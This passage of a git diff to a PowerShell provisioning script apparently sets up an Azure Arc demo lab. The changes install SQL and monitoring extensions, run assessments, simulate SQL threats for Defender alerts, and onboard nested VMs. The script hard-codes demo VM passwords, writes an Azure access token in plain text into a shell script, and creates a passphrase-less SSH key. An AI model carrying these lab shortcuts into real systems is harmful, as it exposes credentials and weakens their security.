--resource-group $resourceGroup --type "WindowsAgent.SqlServer" --publisher "Microsoft.AzureData" --settings '{\"LicenseType\":\"Paid\", \"SqlManagement\": {\"IsEnabled\":true}}' --tags $resourceTags --location $azureLocation --only-show-errors --no-wait + Write-Host "SQL Server extension installation on the Arc-enabled Server successful." + + $retryCount = 0 + do { + # Verify if Arc-enabled server and SQL server extensions are installed + $sqlExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'WindowsAgent.SqlServer'} + if ($sqlExtension -and ($sqlExtension.ProvisioningState -eq "Succeeded")) { + # SQL server extension is installed and ready to run SQL BPA + Write-Host "SQL server extension is installed and ready to run SQL BPA." + break; + } + else { + # Arc SQL Server extension is not installed or still in progress. + $retryCount = $retryCount + 1 + if ($retryCount -gt 10) { + Write-Warning "Timeout exceeded installing SQL server extension. Retry count: $retryCount." + } + else { + Write-Host "Waiting for SQL server extension installation ... Retry count: $retryCount" + Start-Sleep(30) + } + } + } while($retryCount -le 10) # Azure Monitor Agent extension is deployed automatically using Azure Policy. Wait until extension status is Succeded. + az connectedmachine extension create --machine-name $SQLvmName --name AzureMonitorWindowsAgent --publisher Microsoft.Azure.Monitor --type AzureMonitorWindowsAgent --resource-group $resourceGroup --location $azureLocation --only-show-errors --no-wait + $retryCount = 0 do { - Start-Sleep(60) - $amaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='AzureMonitorWindowsAgent']" | ConvertFrom-Json - if ($amaExtension[0].properties.instanceView.status.code -eq 0) { + $amaExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'AzureMonitorWindowsAgent'} + if ($amaExtension.StatusCode -eq 0) { Write-Host "Azure Monitoring Agent extension installation complete." break } - - $retryCount = $retryCount + 1 - Write-Host "Waiting for Azure Monitoring Agent extension installation to complete ... Retry count: $retryCount" - - if ($retryCount -gt 5) { - Write-Host "WARNING: Azure Monitor Agent extenstion is taking longger than expected. Enable SQL BPA later through Azure portal." + else { + $retryCount = $retryCount + 1 + if ($retryCount -gt 10) { + Write-Host "WARNING: Azure Monitor Agent extenstion is taking longger than expected. Enable SQL BPA later through Azure portal." + break + } + else { + Write-Host "Waiting for Azure Monitoring Agent extension installation to complete ... Retry count: $retryCount" + Start-Sleep(60) + } } + } while ($retryCount -le 10) - } while ($retryCount -le 5) + # Get access token to make ARM REST API call for SQL server BPA and migration assessments + $token = (az account get-access-token --subscription $subscriptionId --query accessToken --output tsv) + $headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json" } # Enable Best practices assessment - if ($amaExtension[0].properties.instanceView.status.code -eq 0) { + if ($amaExtension.StatusCode -eq 0) { # Create custom log analytics table for SQL assessment az monitor log-analytics workspace table create --resource-group $resourceGroup --workspace-name $Env:workspaceName -n SqlAssessment_CL --columns RawData=string TimeGenerated=datetime --only-show-errors - # Verify if Arc-enabled server and SQL server extensions are installed - $ArcServer = az connectedmachine show --name $SQLvmName --resource-group $resourceGroup - if ($null -ne $ArcServer) { - $sqlExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='WindowsAgent.SqlServer']" | ConvertFrom-Json - if ($null -ne $sqlExtension) { - # SQL server extension is installed and ready to run SQL BPA - Write-Host "SQL server extension is installed and ready to run SQL BPA." - } - else { - # Arc SQL Server extension is not installed or still in progress. - Write-Host "SQL server extension is not installed and can't run SQL BPA." - Exit - } - } - else { - # ArcBox-SQL Arc-enabled server resource not found - Write-Host "ArcBox-SQL Arc-enabled server resource not found. Re-run onboard script to fix this issue." - Exit - } + # Verify if ArcBox SQL resource is created + Write-Host "Enabling SQL server best practices assessment" + $bpaDeploymentTemplateUrl = "$Env:templateBaseUrl/artifacts/sqlbpa.json" + az deployment group create --resource-group $resourceGroup --template-uri $bpaDeploymentTemplateUrl --parameters workspaceName=$Env:workspaceName vmName=$SQLvmName arcSubscriptionId=$subscriptionId + # Run Best practices assessment + Write-Host "Execute SQL server best practices assessment" - # Verify if ArcBox SQL resource is created - $arcSQLStatus = az resource list --resource-group $resourceGroup --query "[?type=='Microsoft.AzureArcData/SqlServerInstances'].[provisioningState]" -o tsv - if ($arcSQLStatus -ne "Succeeded"){ - Write-Host "WARNING: ArcBox-SQL Arc-enabled server resource not found. Wait for the resource to be created and follow troubleshooting guide to run assessment manually." + # Wait for a minute to finish everyting and run assessment + Start-Sleep(60) + + $armRestApiEndpoint = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer?api-version=2019-08-02-preview" + + # Build API request payload + $worspaceResourceId = "/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$Env:workspaceName".ToLower() + $sqlExtensionId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer" + $sqlbpaPayloadTemplate = "$Env:templateBaseUrl/artifacts/sqlbpa.payload.json" + $settingsSaveTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + $apiPayload = (Invoke-WebRequest -Uri $sqlbpaPayloadTemplate).Content -replace '{{RESOURCEID}}', $sqlExtensionId -replace '{{LOCATION}}', $azureLocation -replace '{{WORKSPACEID}}', $worspaceResourceId -replace '{{SAVETIME}}', $settingsSaveTime + + # Call REST API to run best practices assessment + $httpResp = Invoke-WebRequest -Method Patch -Uri $armRestApiEndpoint -Body $apiPayload -Headers $headers + if (($httpResp.StatusCode -eq 200) -or ($httpResp.StatusCode -eq 202)){ + Write-Host "Arc-enabled SQL server best practices assessment executed. Wait for assessment to complete to view results." } else { <# Action when all if and elseif conditions are false #> - Write-Host "Enabling SQL server best practices assessment" - $bpaDeploymentTemplateUrl = "$Env:templateBaseUrl/artifacts/sqlbpa.json" - az deployment group create --resource-group $resourceGroup --template-uri $bpaDeploymentTemplateUrl --parameters workspaceName=$Env:workspaceName vmName=$SQLvmName arcSubscriptionId=$subscriptionId - - # Run Best practices assessment - Write-Host "Execute SQL server best practices assessment" - - # Wait for a minute to finish everyting and run assessment - Start-Sleep(60) - - # Get access token to make ARM REST API call for SQL server BPA - $armRestApiEndpoint = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer?api-version=2019-08-02-preview" - $token = (az account get-access-token --subscription $subscriptionId --query accessToken --output tsv) - $headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json" } - - # Build API request payload - $worspaceResourceId = "/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$Env:workspaceName".ToLower() - $sqlExtensionId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer" - $sqlbpaPayloadTemplate = "$Env:templateBaseUrl/artifacts/sqlbpa.payload.json" - $settingsSaveTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() - $apiPayload = (Invoke-WebRequest -Uri $sqlbpaPayloadTemplate).Content -replace '{{RESOURCEID}}', $sqlExtensionId -replace '{{LOCATION}}', $azureLocation -replace '{{WORKSPACEID}}', $worspaceResourceId -replace '{{SAVETIME}}', $settingsSaveTime - - # Call REST API to run best practices assessment - $httpResp = Invoke-WebRequest -Method Patch -Uri $armRestApiEndpoint -Body $apiPayload -Headers $headers - if (($httpResp.StatusCode -eq 200) -or ($httpResp.StatusCode -eq 202)){ - Write-Host "Arc-enabled SQL server best practices assessment executed. Wait for assessment to complete to view results." - } - else { - <# Action when all if and elseif conditions are false #> - Write-Host "SQL Best Practices Assessment faild. Please refer troubleshooting guide to run manually." - } + Write-Host "SQL Best Practices Assessment faild. Please refer troubleshooting guide to run manually." } } # End of SQL BPA + # Run SQL Server Azure Migration Assessment + $migrationApiURL = "https://management.azure.com/batch?api-version=2020-06-01" + $assessmentName = (New-Guid).Guid +$payLoad = @" +{"requests":[{"httpMethod":"POST","name":"$assessmentName","requestHeaderDetails":{"commandName":"Microsoft_Azure_HybridData_Platform."},"url":"https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.AzureArcData/SqlServerInstances/$SQLvmName/runMigrationAssessment?api-version=2024-05-01-preview"}]} +"@ + + $httpResp = Invoke-WebRequest -Method Post -Uri $migrationApiURL -Body $payLoad -Headers $headers + if (($httpResp.StatusCode -eq 200) -or ($httpResp.StatusCode -eq 202)){ + Write-Host "Arc-enabled SQL server migration assessment executed. Wait for assessment to complete to view results." + } + else { + <# Action when all if and elseif conditions are false #> + Write-Host "SQL Server Migration Assessment faild. Please refer troubleshooting guide to run manually." + } + + #Install SQLAdvancedThreatProtection solution + az monitor log-analytics solution create --resource-group $resourceGroup --solution-type SQLAdvancedThreatProtection --workspace $Env:workspaceName --only-show-errors + + #Install SQLVulnerabilityAssessment solution + az monitor log-analytics solution create --resource-group $resourceGroup --solution-type SQLVulnerabilityAssessment --workspace $Env:workspaceName --only-show-errors + + # Update Azure Monitor data collection rule template with Log Analytics workspace resource ID + $sqlDefenderDcrFile = "$Env:ArcBoxDir\defendersqldcrtemplate.json" + (Get-Content -Path $sqlDefenderDcrFile) -replace '{LOGANLYTICS_WORKSPACEID}', $workspaceResourceID | Set-Content -Path $sqlDefenderDcrFile + + # Create data collection rules for Defender for SQL + Write-Host "Creating Azure Monitor data collection rule" + $dcrName = "Jumpstart-DefenderForSQL-DCR" + az monitor data-collection rule create --resource-group $resourceGroup --location $env:azureLocation --name $dcrName --rule-file $sqlDefenderDcrFile + + # Associate DCR with Azure Arc-enabled Server resource + Write-Host "Creating Azure Monitor data collection rule assocation for Arc-enabled server" + $dcrRuleId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Insights/dataCollectionRules/$dcrName" + az monitor data-collection rule association create --name "$SQLvmName" --rule-id $dcrRuleId --resource $azConnectedMachineId + # Test Defender for SQL Write-Header "Simulating SQL threats to generate alerts from Defender for Cloud" - $remoteScriptFileFile = "$agentScript\testDefenderForSQL.ps1" + $remoteScriptFileFile = "$Env:ArcBoxDir\testDefenderForSQL.ps1" + Copy-VMFile $SQLvmName -SourcePath "$Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1" -DestinationPath "$Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1" -CreateFullPath -FileSource Host -Force Copy-VMFile $SQLvmName -SourcePath "$Env:ArcBoxDir\testDefenderForSQL.ps1" -DestinationPath $remoteScriptFileFile -CreateFullPath -FileSource Host -Force Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:remoteScriptFileFile } -Credential $winCreds - if (($Env:flavor -eq "Full") -or ($Env:flavor -eq "ITPro")) { + # Onboard nested Windows and Linux VMs to Azure Arc + if ($Env:flavor -eq "ITPro") { Write-Header "Fetching Nested VMs" - $Win2k19vmName = "ArcBox-Win2K19" - $win2k19vmvhdPath = "${Env:ArcBoxVMDir}\${Win2k19vmName}.vhdx" + $Win2k19vmName = "$namingPrefix-Win2K19" + $win2k19vmvhdPath = "${Env:ArcBoxVMDir}\ArcBox-Win2K19.vhdx" - $Win2k22vmName = "ArcBox-Win2K22" - $Win2k22vmvhdPath = "${Env:ArcBoxVMDir}\${Win2k22vmName}.vhdx" + $Win2k22vmName = "$namingPrefix-Win2K22" + $Win2k22vmvhdPath = "${Env:ArcBoxVMDir}\ArcBox-Win2K22.vhdx" - $Ubuntu01vmName = "ArcBox-Ubuntu-01" - $Ubuntu01vmvhdPath = "${Env:ArcBoxVMDir}\${Ubuntu01vmName}.vhdx" + $Ubuntu01vmName = "$namingPrefix-Ubuntu-01" + $Ubuntu01vmvhdPath = "${Env:ArcBoxVMDir}\ArcBox-Ubuntu-01.vhdx" - $Ubuntu02vmName = "ArcBox-Ubuntu-02" - $Ubuntu02vmvhdPath = "${Env:ArcBoxVMDir}\${Ubuntu02vmName}.vhdx" + $Ubuntu02vmName = "$namingPrefix-Ubuntu-02" + $Ubuntu02vmvhdPath = "${Env:ArcBoxVMDir}\ArcBox-Ubuntu-02.vhdx" # Verify if VHD files already downloaded especially when re-running this script - if (!([System.IO.File]::Exists($win2k19vmvhdPath) -and [System.IO.File]::Exists($Win2k22vmvhdPath) -and [System.IO.File]::Exists($Ubuntu01vmvhdPath) -and [System.IO.File]::Exists($Ubuntu02vmvhdPath))) { + if (!((Test-Path $win2k19vmvhdPath) -and (Test-Path $Win2k22vmvhdPath) -and (Test-Path $Ubuntu01vmvhdPath) -and (Test-Path $Ubuntu02vmvhdPath))) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 - if ($Env:flavor -eq "Full") { - # The "Full" ArcBox flavor has an azcopy network throughput capping - Write-Output "Downloading nested VMs VHDX files. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --cap-mbps 1200 --log-level=ERROR - } - else { - # Other ArcBox flavors does not have an azcopy network throughput capping - Write-Output "Downloading nested VMs VHDX files. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --log-level=ERROR - } + Write-Output "Downloading nested VMs VHDX files. This can take some time, hold tight..." + azcopy cp $vhdSourceFolder $Env:ArcBoxVMDir --include-pattern "ArcBox-Win2K19.vhdx;ArcBox-Win2K22.vhdx;ArcBox-Ubuntu-01.vhdx;ArcBox-Ubuntu-02.vhdx;" --recursive=true --check-length=false --log-level=ERROR } # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - - # Check if VM already exists - if ((Get-VM -Name $Win2k19vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Win2k19vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Win2k19vmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $win2k19vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $Win2k19vmName -Count 2 - Set-VM -Name $Win2k19vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Win2k22vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Win2k22vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Win2k22vmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $Win2k22vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $Win2k22vmName -Count 2 - Set-VM -Name $Win2k22vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Ubuntu01vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Ubuntu01vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Ubuntu01vmName -MemoryStartupBytes 4GB -BootDevice VHD -VHDPath $Ubuntu01vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMFirmware -VMName $Ubuntu01vmName -EnableSecureBoot On -SecureBootTemplate 'MicrosoftUEFICertificateAuthority' - Set-VMProcessor -VMName $Ubuntu01vmName -Count 1 - Set-VM -Name $Ubuntu01vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Ubuntu02vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Ubuntu02vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Ubuntu02vmName -MemoryStartupBytes 4GB -BootDevice VHD -VHDPath $Ubuntu02vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMFirmware -VMName $Ubuntu02vmName -EnableSecureBoot On -SecureBootTemplate 'MicrosoftUEFICertificateAuthority' - Set-VMProcessor -VMName $Ubuntu02vmName -Count 1 - Set-VM -Name $Ubuntu02vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - Write-Header "Enabling Guest Integration Service" - Get-VM | Get-VMIntegrationService | Where-Object { -not($_.Enabled) } | Enable-VMIntegrationService -Verbose - - # Start all the VMs - Write-Header "Starting VMs"\ - Start-VM -Name $Win2k19vmName - Start-VM -Name $Win2k22vmName - Start-VM -Name $Ubuntu01vmName - Start-VM -Name $Ubuntu02vmName + $serversDscConfigurationFile = "$Env:ArcBoxDscDir\virtual_machines_itpro.dsc.yml" + (Get-Content -Path $serversDscConfigurationFile) -replace 'namingPrefixStage', $namingPrefix | Set-Content -Path $serversDscConfigurationFile + winget configure --file C:\ArcBox\DSC\virtual_machines_itpro.dsc.yml --accept-configuration-agreements --disable-interactivity Write-Header "Creating VM Credentials" # Hard-coded username and password for the nested VMs - $nestedLinuxUsername = "arcdemo" - $nestedLinuxPassword = "ArcDemo123!!" + $nestedLinuxUsername = "jumpstart" + $nestedLinuxPassword = "JS123!!" # Create Linux credential object $secLinuxPassword = ConvertTo-SecureString $nestedLinuxPassword -AsPlainText -Force @@ -414,50 +414,146 @@ if ($Env:flavor -ne "DevOps") { # Restarting Windows VM Network Adapters Write-Header "Restarting Network Adapters" - Start-Sleep -Seconds 20 + Start-Sleep -Seconds 5 Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds - Start-Sleep -Seconds 5 + Start-Sleep -Seconds 10 + + if ($namingPrefix -ne "ArcBox") { + + # Renaming the nested VMs + Write-Header "Renaming the nested Windows VMs" + Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName -Restart } -Credential $winCreds + Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName -Restart } -Credential $winCreds + + Get-VM *Win* | Wait-VM -For IPAddress + + Write-Host "Waiting for the nested Windows VMs to come back online...waiting for 10 seconds" + + Start-Sleep -Seconds 10 + + } # Getting the Ubuntu nested VM IP address $Ubuntu01VmIp = Get-VM -Name $Ubuntu01vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 $Ubuntu02VmIp = Get-VM -Name $Ubuntu02vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 + # Configuring SSH for accessing Linux VMs + Write-Output "Generating SSH key for accessing nested Linux VMs" + + $null = New-Item -Path ~ -Name .ssh -ItemType Directory + ssh-keygen -t rsa -N '' -f $Env:USERPROFILE\.ssh\id_rsa + + Copy-Item -Path "$Env:USERPROFILE\.ssh\id_rsa.pub" -Destination "$Env:TEMP\authorized_keys" + + # Automatically accept unseen keys but will refuse connections for changed or invalid hostkeys. + Add-Content -Path "$Env:USERPROFILE\.ssh\config" -Value "StrictHostKeyChecking=accept-new" + + Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$Env:TEMP\authorized_keys" -DestinationPath "/home/$nestedLinuxUsername/.ssh/" -FileSource Host -Force -CreateFullPath + + if ($namingPrefix -ne "ArcBox") { + + # Renaming the nested linux VMs + Write-Output "Renaming the nested Linux VMs" + + Invoke-Command -HostName $Ubuntu01VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername -ScriptBlock { + + Invoke-Expression "sudo hostnamectl set-hostname $using:ubuntu01vmName;sudo systemctl reboot" + + } + + Restart-VM -Name $ubuntu01vmName + + Invoke-Command -HostName $Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername -ScriptBlock { + + Invoke-Expression "sudo hostnamectl set-hostname $using:ubuntu02vmName;sudo systemctl reboot" + + } + + Restart-VM -Name $ubuntu02vmName + + } + + Get-VM *Ubuntu* | Wait-VM -For IPAddress + + Write-Host "Waiting for the nested Linux VMs to come back online...waiting for 10 seconds" + + Start-Sleep -Seconds 10 + # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." Copy-VMFile $Win2k19vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force Copy-VMFile $Win2k22vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force - # Create appropriate onboard script to SQL VM depending on whether or not the Service Principal has permission to peroperly onboard it to Azure Arc - (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$spnClientId', "'$Env:spnClientId'" -replace '\$spnClientSecret', "'$Env:spnClientSecret'" -replace '\$resourceGroup', "'$Env:resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$Env:subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" + # Update Linux VM onboarding script connect toAzure Arc, get new token as it might have been expired by the time execution reached this line. + $accessToken = ConvertFrom-SecureString ((Get-AzAccessToken -AsSecureString).Token) -AsPlainText + (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$accessToken', "'$accessToken'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$tenantId', "'$Env:tenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" # Copy installation script to nested Linux VMs Write-Output "Transferring installation script to nested Linux VMs..." - Set-SCPItem -ComputerName $Ubuntu01VmIp -Credential $linCreds -Destination "/home/$nestedLinuxUsername" -Path "$agentScript\installArcAgentModifiedUbuntu.sh" -Force - Set-SCPItem -ComputerName $Ubuntu02VmIp -Credential $linCreds -Destination "/home/$nestedLinuxUsername" -Path "$agentScript\installArcAgentModifiedUbuntu.sh" -Force + + Get-VM *Ubuntu* | Copy-VMFile -SourcePath "$agentScript\installArcAgentModifiedUbuntu.sh" -DestinationPath "/home/$nestedLinuxUsername" -FileSource Host -Force Write-Header "Onboarding Arc-enabled servers" # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" - Invoke-Command -VMName $Win2k19vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - Invoke-Command -VMName $Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds + Invoke-Command -VMName $Win2k19vmName,$Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" - $ubuntuSession = New-SSHSession -ComputerName $Ubuntu01VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue - $Command = "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" - $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output - - $ubuntuSession = New-SSHSession -ComputerName $Ubuntu02VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue - $Command = "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" - $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output - - # Configure SSH on the nested Windows VMs - Write-Output "Configuring SSH via Azure Arc agent on the nested Windows VMs" - Invoke-Command -VMName $Win2k19vmName, $Win2k22vmName -ScriptBlock { - # Allow SSH via Azure Arc agent - azcmagent config set incomingconnections.ports 22 - } -Credential $winCreds + $UbuntuSessions = New-PSSession -HostName $Ubuntu01VmIp,$Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername + Invoke-JSSudoCommand -Session $UbuntuSessions -Command "sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" + + Write-Header "Enabling SSH access and triggering update assessment for Arc-enabled servers" + $VMs = @("$namingPrefix-SQL", "$namingPrefix-Ubuntu-01", "$namingPrefix-Ubuntu-02", "$namingPrefix-Win2K19", "$namingPrefix-Win2K22") + $VMs | ForEach-Object -Parallel { + $null = Connect-AzAccount -Identity -Tenant $using:tenantId -Subscription $using:subscriptionId -Scope Process -WarningAction SilentlyContinue + + $vm = $PSItem + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $using:resourceGroup -SubscriptionId $using:subscriptionId + $connectedMachineEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15").Content | ConvertFrom-Json + + if (-not ($connectedMachineEndpoint.properties | Where-Object { $_.type -eq "default" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Creating default endpoint for $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15" -Payload '{"properties": {"type": "default"}}' + } + $connectedMachineSshEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15").Content | ConvertFrom-Json + + if (-not ($connectedMachineSshEndpoint.properties | Where-Object { $_.serviceName -eq "SSH" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Enabling SSH on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15" -Payload '{"properties": {"serviceName": "SSH", "port": 22}}' + } + else { + Write-Output "SSH already enabled on $($connectedMachine.Name)" + } + + Write-Output "Triggering Update Manager assessment on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method POST -Path "/subscriptions/$($using:subscriptionId)/resourceGroups/$($using:resourceGroup)/providers/Microsoft.HybridCompute/machines/$($connectedMachine.Name)/assessPatches?api-version=2020-08-15-preview" -Payload '{}' + + } + } + elseif ($Env:flavor -eq "DataOps") { + Write-Header "Enabling SSH access to Arc-enabled servers" + $null = Connect-AzAccount -Identity -Tenant $tenantId -Subscription $subscriptionId -Scope Process -WarningAction SilentlyContinue + $connectedMachine = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup -SubscriptionId $subscriptionId + $connectedMachineEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15").Content | ConvertFrom-Json + if (-not ($connectedMachineEndpoint.properties | Where-Object { $_.type -eq "default" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Creating default endpoint for $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15" -Payload '{"properties": {"type": "default"}}' + } + + $connectedMachineSshEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15").Content | ConvertFrom-Json + if (-not ($connectedMachineSshEndpoint.properties | Where-Object { $_.serviceName -eq "SSH" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Enabling SSH on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15" -Payload '{"properties": {"serviceName": "SSH", "port": 22}}' + } + else { + Write-Output "SSH already enabled on $($connectedMachine.Name)" + } + + Write-Output "Triggering Update Manager assessment on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method POST -Path "/subscriptions/$($using:subscriptionId)/resourceGroups/$($using:resourceGroup)/providers/Microsoft.HybridCompute/machines/$($connectedMachine.Name)/assessPatches?api-version=2020-08-15-preview" -Payload '{}' + } # Removing the LogonScript Scheduled Task so it won't run on next reboot @@ -467,42 +563,31 @@ if ($Env:flavor -ne "DevOps") { } } -# Executing the deployment logs bundle PowerShell script in a new window -Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { -$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) -Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." -Start-Sleep -Seconds 5 -Write-Host "`n" -Write-Host 